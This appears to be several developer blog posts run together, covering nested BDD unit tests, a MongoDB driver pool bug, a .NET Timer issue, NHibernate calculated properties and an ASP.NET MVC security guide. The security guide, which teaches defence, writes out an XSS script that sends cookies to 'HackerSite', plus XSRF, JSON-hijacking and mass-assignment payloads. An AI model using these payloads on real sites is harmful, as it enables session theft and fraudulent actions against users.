1. One flat test-class per target-class is too convoluted. You will soon get drowned by the complexities of your tests.
2. This giant test-class needs to be broken down to nested-classes
3. This structure keeps tests organized and grouped together. So you can collapse method-body (CTRL+M, CTRL+O), or use the object-browser, to quickly view the list of test hierarchies within your class

Now the difference.

Phil groups his tests based on target methods. I.e. as opposed to one test-class per target-class, now we have one test-class per target-method. That definitely makes things cleaner. But I usually take it even further.

I think a method is still too big to be captured by a single test-class. One method can be used in a variety of different contexts and scenarios.  Testing all these different contexts and scenarios within one single method often leads to tedious repetitive setup code in the unit-test methods.

So instead of adopting “one test-class per target-method”, I structure my unit-tests in a “one test-class per scenario” manner. I’m so far very happy with this approach, not just because it improves readability, but mainly because it greatly promotes reusability (of test-code) and DRYness (as in Don’t Repeat Yourself).

Now, how do we define these test-classes? I divide my test-classes into 2 kinds:

• GIVEN test class. This test-class defines some background context of your test-story. In short, a GIVEN test class usually has an Arrange() setup method.
• WHEN test class. WHEN class is an action. It usually has an Act() method, which is where you actually invoke your target-method.

So what is these Act() and Arrange() methods? Well they’re both actually what you usually call Setup() methods, but I break them to 2 different kinds. Why? Because I want to make sure all Arrange() methods to run before all Act() methods. This semantic is consistent with the AAA (Arrange-Act-Assert) syntax, which many mock-frameworks follow. So this structuring feels very natural.

Ok let’s cut to the chase now. Our first example, we write some unit-tests where you have one context (GIVEN) followed by different actions (WHENs).

GIVEN an_empty_shopping_cart:

• should_have_no_item
• WHEN added_12_productA:
  • should_only_have_1_item
  • the_item_should_be_of_productA
  • item_quantity_should_be_12
  • WHEN added_5_productB:
    • should_now_have_2_items
    • first_item_remain_intact
    • second_item_should_be_of_productB
    • productB_quantity_should_be_5
    • WHEN cleared:
      • should_now_have_no_item
  • WHEN set_productB_quantity_to_0:
    • should_now_only_have_productA_left
• WHEN added_5_productA:
  • should_still_have_1_item
  • item_quantity_should_now_be_17

(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)

Remember, WHEN contains Action(). In this example, you’re basically just following one action after another. This is the case where you have a single context where you can perform a chain of different actions, with each step having its own set of tests (assertions).

The code looks like the following. (I use Java because it has a really nice feature called instance-scoped nested-class, which C# does not have. This feature means that nested-class has access to the instance of the outer-class).

public class Given_an_empty_shoppping_cart{
   @Mock Customer customer;
   ShoppingCart cart;

   @Arrange void arrange(){
      cart = new ShoppingCart(customer);
   }

   @Test void should_have_no_item(){
      assertTrue(cart.isEmpty());
   }

   public class When_added_12_productA{
      @Act void act(){
         // code to setup stub for productA
         cart.add(productA, 12);
      }

      @Test void should_only_have_1_item(){
         assertEquals(1, cart.getItems().size());
      }
      @Test void the_item_should_be_of_productA(){
         // assert code
      }
      @Test void item_quantity_should_be_12(){
         // assert code
      }

      public class When_added_5_productB{
         @Act void act(){
            // code to setup stub for productB
            cart.add(productB, 5);
         }

         @Test void should_have_2_items(){
            // assert code
         }
         @Test void first_item_should_remain_intact(){
            the_item_should_be_of_productA();
            item_quantity_should_be_12();
         }
         @Test void second_item_should_be_of_productB(){
            // assert code
         }
         @Test void productB_quantity_should_be_5(){
            // assert code
         }

         public class When_cleared{
            @Act void act(){
               cart.clear();
            }

            @Test void should_have_no_item(){
               assertTrue(cart.isEmpty());
            }
         }

         public class When_set_productB_quantity_to_0{
            @Act void act(){
               cart.setQuantity(productB, 0);
            }

            @Test void should_now_only_have_productA_left(){
               should_only_have_1_item();
               the_item_should_be_of_productA();
               item_quantity_should_be_12();
            }
         }
      }

      public class When_added_5_more_productA{
         @Act void act(){
            cart.add(productA, 5);
         }
         @Test void should_still_have_1_item(){
            assertEquals(1, cart.getItems().size());
         }
         @Test void item_quantity_should_now_be_17(){
            // assert code
         }
      }
   }
}

(Yap, sorry if that was long. I just typed them all in just in case you’re curious how the code looks like.)

So by grouping each test-scenario into its own story class, you promote explicitness and DRYness. We only write the context and the action only once, and use it all the way down the hierarchy. You also notice I’m reusing my unit-tests on line#65-#67. (Additionally, in practice I also leverage a lot of inheritance to reuse a set of unit-tests to multiple contexts).

And this is how the actual source-code looks like on the editor.

Outline View

So that was an example of writing multiple WHENs to create a chain of different actions.

There is also the reverse. You can write your tests where you have one action (WHEN) applied to different contexts (GIVENs):

(Continuing on the shopping-cart example)

• WHEN estimating_local_shipping_fee_at_2dollars_per_kg:  // -> when the action happens!
  • GIVEN product_is_3kgs:
    • GIVEN customer_is_standard_member:
      • shipping_should_be_18bucks
    • GIVEN customer_is_premium_member:
      • should_be_free_shipping
  • GIVEN product_is_heavier_than_4kgs:
    • GIVEN customer_is_standard_member:
      • should_only_charge_for_4kgs__ie_24bucks
    • GIVEN customer_is_premium_member:
      • should_charge_a_flat_1dollar_surcharge

(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)

In this example, you are performing one single action (estimating local shipping charge of the shopping-cart), but the expectation of this one single operation may vary, depending on the contexts. (E.g. the weight of the products in the cart, and the type of the customer).

/* continued from previous code example */
public class When_added_12_productA{
   @Act void act(){
      cart.add(productB, 5);
   }

   public class When_estimating_local_shipping_fee_at_2dollars_per_kg{
      Money cost;
      @Act void act(){
         when(product.getShippingRate())
            .thenReturn(ShippingRate.perKg(Money.local(0.50)));

         cart.setDeliveryAddress(somewhereLocal);
         cost = cart.calculateShippingCost();
      }

      public class Given_product_is_3kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(3));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void shipping_should_be_18bucks(){
                // 12items x 3kgs x 50c
               assertEquals(Money.local(12 * 3 * 0.50), cost);
            }
         }
         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_be_free_shipping(){
                  assertEquals(Money.zero(), cost);
            }
         }
      }

      public class Given_product_is_heavier_than_4kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(10));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void should_only_charge_for_4kgs__ie_24bucks(){
               assertEquals(Money.local(12 * 4 * 0.50), cost);
            }
         }

         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_charge_a_flat_1dollar_surcharge(){
               assertEquals(Money.local(1), cost);
            }
         }
      }
   }
}

Outline View

This is where the distinction between @Act and @Arrange comes handy. In this case, we are able to define the background story (using @Arrange methods) before the @Act is performed (i.e. invoking shipping calculation). By grouping the test by these different contexts, we promote DRYness. We define our actions once (in WHEN classes), and reuse it all the way down through multiple different contexts (by applying GIVENs through the hierarchy).

Also, notice that we have a couple of repetitive classes: Given_customer_is_standard member and Given_customer_is_premium member. This is a good candidate for an extract-superclass refactoring to further sanitize the test-code, especially if they’re used in many contexts.

We have seen tests with multiple WHENs, and ones with multiple GIVENs. You can mix and match various combination. They will feel very natural, helping eliminate brittle/fragile unit-test code. And they will look really nice on your test-runner too

Source Code

To run the test example, you will need a custom JUnitTestRunner than I have written, which is a pretty small class. I will make the source-code available somewhere in GitHub, and update this post. So watch this space. Also, the code example here uses Java (because of its instance-scoped nested-class), but the pattern can also be achieved using lambda syntax, for example with MSpec.

Summary

Flat unit-test structure can get really convoluted. Grouping your unit-tests into nested-classes can improve readability. Phil showed a great example of one way to group these tests. However, the test itself is still written using conventional pattern:  you write each test-method with the whole context-action-assertion code (arrange-act-assert). This leads to massively repetitive code.

By breaking arrange and act into separate WHEN and GIVEN classes, these codes will only need to be written once, and reused throughout your class hierarchical structure. It greatly promotes DRYness, and avoids fragile unit-tests.

This is a technique I borrow from BDD. Related post by me from a couple years back: TDD, BDD Done Right.

Everything was huming along jauntily, all fine, and then mayhem. The web app could not connect to MongoDb anymore. The driver always throws a TimeoutException every time:

“Timeout waiting for a MongoConnection.” (from MongoConnectionPool.AcquireConnection(MongoDatabase))

The pool runs out of connections, and it never replenishes itself. The whole server stays down until I restart the web-server. I immediately suspected a connection leak in the code. I must have missed to dispose something.

I managed to reliably reproduce the error by hammering the app with a massive load. Eventually Mongo connection-pool would pass out. From that point on, every request will throw a connection timeout. This only happens on a live Azure server, not locally. My fancy debugger is out of the game.

So I reviewed my code, trying to find any connection leak, but couldn’t see anything out of ordinary. I digged into the source-code of MongoDb-CSharp driver, trying to find how my code leaks. No cigar. Then I tried to blame FluentMongo library that I use. That must be it! I suspected it might not dispose MongoCursorEnumerator properly, causing a leak under heavy load. I took the library out of my solution completely, the I was still no closer to fixing the error. Didn’t see any problem with MongoAzure‘s code either.

The only thing left was the MongoDb-Csharp driver itself. But we’re taught that select() isn’t broken. I can’t be seriously thinking that MongoDb-CSharp leaks connections, can I? But after a few days, I hadn’t moved anywhere from where I was when this whole shenanigans started, so I eventually decided to investigate into the MongoDb driver’s source-code.

And there I found the answer. There was not a leak. The timeout happenned naturally. However, apparently there is a bug in MongoDb driver code: after the first connection-timeout, the pool will will always fall into a broken state. More specifically, there’s a bit of code in MongoConnectionPool that clears out all its connections (e.g. after a timeout), but without adjusting its counter accordingly. In other word, the pool would be eternally stuck in a drained state.

The fix was just a single line of code (reseting the pool counter to zero). I was just about to submit the patch, when I discovered it had just been fixed on their latest trunk, just barely a few days ago.

The fix has not been in any release yet. So if you’re using the official release version of MongoDb driver (i.e. from NuGet), you have this bug sitting in your server. Whenever your application gets some heavy traffic, it will knock out your MongoDb connection-pool completely, bringing your entire server to a complete halt. So yea it’s pretty goddamn catastrophic.

The solution: pull the latest MongoDb driver from the latest source trunk, and compile it yourself. The moral: sometimes ‘select’ can be broken.

Problem starts when my task randomly just go to a mysteriously halt. The problem with doing asynchronous stuff is the premise of asynchronous itself: when any of your tasks is in a wait state, it will drop its current thread back to the thread pool, and therefore you won’t find anything in the debugger when your tasks do come to a mysterious halt. There’s no facility in the Visual Studio debugger that allows you to possibly find the last call-stacks of your halting tasks.

I spent almost the whole day sprinkling a lot of Trace information all over the code, and I finally managed to narrow down to my little Delay() method that uses System.Threading.Timer. For some reason, my Timer would occassionaly fail to fire back.

new Timer(_=> Trace.WriteLine("fired back"), null, timespan, TimeSpan.FromMilliseconds(-1));

Most of the times, the timer fires back successfully, except in some rare occasions where apparently it never comes back at all. After pulling my hair in frustration until I had little left, I decided to make a desperate stab and change the code to this:

new Timer(_=> Trace.WriteLine("fired back")).Change(timespan, TimeSpan.FromMilliseconds(-1));

I wasn’t expecting anything magical to come out of this, but it did! It fixed the bug. My timer now reliably fires back 100% of the times! I can’t explain why, but I’ll definitely file a bug report to Microsoft and see if they can come up with any logical explanation. I can’t provide a reproduction test for this though, as this bug only happens when I plug a lot of moving parts to the system. Whenever I try to reduce the complexities (to isolate the issue), the bug disappears. It almost seems like a dirty secret that the universe doesn’t want you to see.

Anyway, that has been an utterly frustrating 10 hours, and I’m not sure whether it’s a relief or anger that I’m feeling right now, but at least this pile of coffee mugs will finally clear out.

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}
   public decimal Fee
   {
      get {return (Weight - PackagingType.TareWeight) * ParcelType.FeePerWeight;
   }
}

“Fee” is a calculated property. You cannot use this property as a part of your Linq query. For instance, if you want to query Parcels with Fees above certain values:

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

Obviously that wouldn’t work because NHibernate does not recognize this “Fee” property.

There are 3 (conventional) ways to resolve this, you can choose either one of these:

1. Change all your queries to avoid “Fee” property, and repeat the calculation logic (every time) instead.

   var expensiveParcels = from parcel in Session.Query<Parcel>
         where (parcel.Weight - parcel.PackagingType.TareWeight) * parcel.ParcelType.FeePerWeight > 1000
         select parcel;
   

2. A slightly better way is to map “Fee” property with SQL Formula. It’s better because you do not have to repeat Fee calculation on every Linq query. E.g., in FluentNHibernate:
   

   Map(x=> x.Fee).Access.Readonly().Formula( // Raw SQL ->
       @"((select Weight - (select TareWeight from PackagingType p where  p.Id = PackagingId))
             * (select FeePerWeight from ParcelType pt where pt.Id = ParcelTypeId))");
   );
   

3. Alternatively, you could also write an ILinqToHqlGenerator implementation.
   Since version 3.0, NHibernate has been utilizing ReLinq for its Linq-provider, which greatly improves its extensibility. It allows you to register your own ILinqToHqlGenerator, where you basically take a specific Linq expression and return whatever HqlTree expression you desire. For instance, in this example, we build our Hql expression like so:
   

   public class ParcelFeeLinqGenerator: BaseHqlGeneratorForProperty
   {
      public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
      {
         var parcel = visitor.Visit(expression).AsExpression();
         return treeBuilder.Multiply(
             treeBuilder.Subtract(
                treeBuilder.Dot(parcel, treeBuilder.Ident("Weight")),
                treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("PackagingType")), treeBuilder.Ident("TareWeight"))
             ),
             treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("ParcelType")), treeBuilder.Ident("FeePerWeight"))
         );
      }
   }
   

   And you register this generator into NHibernate runtime to handle our Fee property:

   registry.RegisterGenerator(ReflectionHelper.GetProperty<Parcel, decimal>(x=> x.Fee), new ParcelFeeLinqGenerator());
   

All those 3 approaches do the job just fine, but whichever one you pick you’ll still end up duplicating your Fee calculation logic one way or another. You’ll either be repeating your logic in C# expressions (option#1), in SQL expression (option #2), or in HQL expression (option #3). That seems to violate DRY. It’s easy to forget to change your querying logic whenever your pricing rule changes (e.g. tax).

Better Way?

The ideal solution is to eliminate logic duplication. We want to be able to write the calculation logic only once to be shared both by the property as well as by Linq queries. I’ll be using approach#3 while employing a pattern to avoid duplicating our logic.

First step, I create this generic ILinqToHqlGenerator plumbing that I can reuse for all calculated properties in my projects.

public class CalculatedPropertyGenerator<T, TResult> : BaseHqlGeneratorForProperty
{
   public static void Register(ILinqToHqlGeneratorsRegistry registry, Expression<Func<T, TResult>> property, Expression<Func<T, TResult>> calculationExp)
   {
      registry.RegisterGenerator(ReflectionHelper.GetProperty(property), new CalculatedPropertyGenerator<T, TResult>{_calculationExp = calculationExp});
   }
   private CalculatedPropertyGenerator(){} // Private constructor

   private readonly Expression<Func<T, TResult>> _calculationExp;
   public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
   {
      return visitor.Visit(_calculationExp);
   }
}

Once we got that plumbing class in place, we’ll then modify my parcel class slightly to look like the following:

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}

   /// <summary>
   /// To be reused for (NHibernate) Linq generator
   /// </summary>
   public static readonly Expression<Func<Parcel, decimal>> CalculateFeeExpression = x =>
          (x.Weight - x.PackagingType.TareWeight) / x.ParcelType.FeePerWeight;

   private static readonly Func<Parcel, decimal> CalculateFee = CalculateFeeExpression.Compile();
   public decimal Fee
   {
      get {return CalculateFee(this);
   }
}

Now you register this FeeCalculationExpression to NHibernate registry so that NHibernate can now translate Fee property using the same fee-calculation expression used by the Parcel class itself.

CalculatedPropertyGenerator<Parcel, double>.Register(registry, x=> x.Fee, Parcel.CalculateFeeExpression);

Now this Linq query works. NHibernate knows how to handle Fee property in the query.

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

We are reusing the same business-rule for calculating Fee property as well as to generate our NHibernate queries. There’s no duplication, and it requires very little setup as well (once you get the CalculatedPropertyGenerator plumbing class in place). This so far has been my favorite approach to map calculated-properties to NHibernate.

The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don’t feel obliged to rush and practice these attacks on your local bakery’s websites, and even if you do, I’ll disclaim my involvement in any unlawful conducts

1. Encode your texts

Risk:

XSS vulnerability

How:

Your dear hacker would just visit your website, and post this comment on your wall or guestbook.

This is a dodgy message. <script>
   document.write(
      '<img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/>');
</script>

If your website does not encode this text, the script will appear on your homepage, and it will steal all your users’ cookies (and therefore their sessions and credentials), and send all those data secretly to the hacker’s site without anyone’s knowledge.

Solution:

Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use

<%:Model.Message%>

.. instead of:

<%=Model.Message%>

Since razor, it will always encode your text.

@Model.Message

.. so you’ll rarely need to worry about any of these any more, except when you’re writing Html helpers: do remember HTML encoding.

2. Deny GET access to non-idempotent actions

When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:

<a href="/AddToCart?ProductId=4423">Add to Cart</a>

Risk:

Cross-Site-Request-Forgery (XSRF) vulnerability.

How:

To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:

<img src="http://yourwebsite/AddToCart?product=4423"/>

He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.

When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.

And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.

Solution:

By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop <img> or <script> tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.

[HttpPost]
public ActionResult AddToCart(Product product)
{
}

And change your “Add to Cart” hyperlink to a POST form submit button:

<form method="POST" action="/AddToCart">
   <hidden name="product" value="4423" />
   <input type="submit" value="Add to Cart" />
</form>

I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.

I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.

3. Always validate anti-forgery token on every POST

Risk:

Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.

How:

To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.

<form id="evilForm" method="POST" action="http://yourwebsite/Purchase">
   <input type="Hidden" name="ProductCode" value="BabyPanda" />
   <input type="Hidden" name="Quantity" value="1000000" />
   <input type="Submit value="Free Coke is Here!"/>
</form>

Who could resist a button that says “Free Coke”? What’s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!

So we’ll be safe as long as we don’t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:

<script type="text/javascript">
   $("form").submit();
</script>

So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.

Solution:

Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}

Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called “__RequestVerificationToken_Lw__”. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.

The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a “__RequestVerificationToken” hidden input that will hold the security token.

@using(Html.BeginForm("Purchase"))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}

Since your hacker does not have access to your cookie (unless if you’re exploited by an XSS attack), he won’t be able to work out the token of the current user, and is therefore unable to make a POST that’s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.

So why do we need our previous rule#2: “avoid GET”? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?
Oh no, do NOT use anti-forgery-token with GET (i.e. via querystring, as I frequently see), because it’s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users’ querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.

Even if you have no bogus link on yourwebsite (e.g. you don’t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a JS+CSS trick), and if he gets lucky, that would be the end of your oh-so-important token.
So there, keep rule#2 and use POST!

4. Protect your JSON data

We’ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?

Risk:

JSON Hijacking

How:

AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.

A hacker can still make a cross-domain access to your GET services using <img> or <script> tag. E.g.:

<img src="http://yourwebsite/InboxMessages" />

… but that’s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can’t possibly do any harm on the server. As for the JSON data itself, a hacker can’t read anything using <img> or <script> (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we’re all safe.

Unfortunately, using a clever trick, a hacker can actually read your JSON data. It’s achieved by rewriting the Array definition in Javascript.

<script type="text/javascript">
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
</script>

<script src="http://yourwebsite/InboxMessages" />

First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it’s fairly straightforward. He just simply hits your InboxMessage service using a <script> tag, and every Array that’s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.

GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails & contacts) were stolen using this very technique, before Google eventually fixed the hole.

Solution:

There are two options you can pick to protect against JSON hijacking.

1. Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).
2. In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you’re not using MVCFutures library).
   

   [HttpGet]
   [AjaxOnly]
   public ActionResult InboxMessages()
   {
   }
   

   Now your actions only accept AJAX requests. And since you can’t make a cross-site AJAX request, your actions are now safe from cross-site attacks.

5. Securing AJAX POSTs Against Forgery

We know from point#3 above that we should always validate our form submission against anti-forgery token. That’s fine. But what about AJAX calls, such as the following:

$.post("http://yourwebsite/ReplyMessage",
   { repliedMsgId: 123, replyMsg: "Roger that!"});

How do you secure this AJAX call?

Risk:

XSRF attack (look point#3)

How:

(Look point#3)

Solution:

Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user’s cookie) into the payload. But it’s not really necessary. There’s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).

[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}

Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.

In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you’ll need to change your Ajax call to also include this token as part of the payload).

6. POST-Redirect-GET (PRG)

It’s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).

Risk:

Accidental double POSTs

How:

When you return a page from a POST request (without redirection):

1. Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).
2. It may break browser bookmark feature. E.g. if your “Reply Message” returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.

Solution:

As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).

If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.

So if you combine this with rule#2, you’ll get this rule:

• GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka “queries”)
• POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka “commands”). It also means that if no server-side effect was made (e.g. failures), it may return contents.

Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:

1. It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.
   Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.
2. Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.

7. Always use controller-specific ViewModel for ModelBinding

public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}

A customer can’t change his own credit-rating from his profile page, which is, by the way, the following:

@using(Html.BeginForm("EditMyProfile")
{
   <div>
      @Html.LabelFor(x=> x.FirstName)
      @Html.EditorFor(x=> x.FirstName)
   </div>
   <div>
      @Html.LabelFor(x=> x.LastName)
      @Html.EditorFor(x=> x.LastName)
   </div>

   <input type="Submit" value="Save" />
}

And here’s the controller action that handles the form.

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}

.. or if you have full-fledged model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}

Risk:

Users may make unauthorized changes to the data

How:

Our hacker would just simply use Firebug or WebDeveloper to edit the HTML form and add the following textbox:

<input name="CreditRating" value="100" />

Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:

<input name="Region.Administrator.Password" value="hackedPassword" />
<input name="ShoppingCart.Items[0].Price" value="0.01" />

Starting from a Customer object, he can jump through other objects and change your region’s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!

Solution:

Do NOT use ASP.Net MVC’s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you’re allowing your users to input on that particular page.

[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}

Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.

public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}

And the controller actions:

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel<Customer.IMyProfileUpdatable>(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel<Customer.IAdminUpdatable>(customer); // Bind against the interface

   // Save the customer
}

.. or if proper model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}

By limiting your ModelBinding to a specific interface, you’re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).

8. Don’t trust hidden-fields

This is a reminder why this is a bad (Razor) view:

@model Sheep.UserProfile
@using(Html.BeginForm("UpdateMyProfile"))
{
   @Html.Hidden(x=> x.User.Id);
   @Html.EditorFor(x=> x.User.FirstName);
   @Html.EditorFor(x=> x.User.LastName);
}

We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.

Risk:

Prone to user manipulation

How:

By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform “update my profile” on behalf of ANY user he wishes. Your “update my profile” page is more like an “update ANY profile” page really.

Solution:

Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you’ll be surprised how often I’ve seen this mistake.

9. HTTPS

I can’t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.

Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.

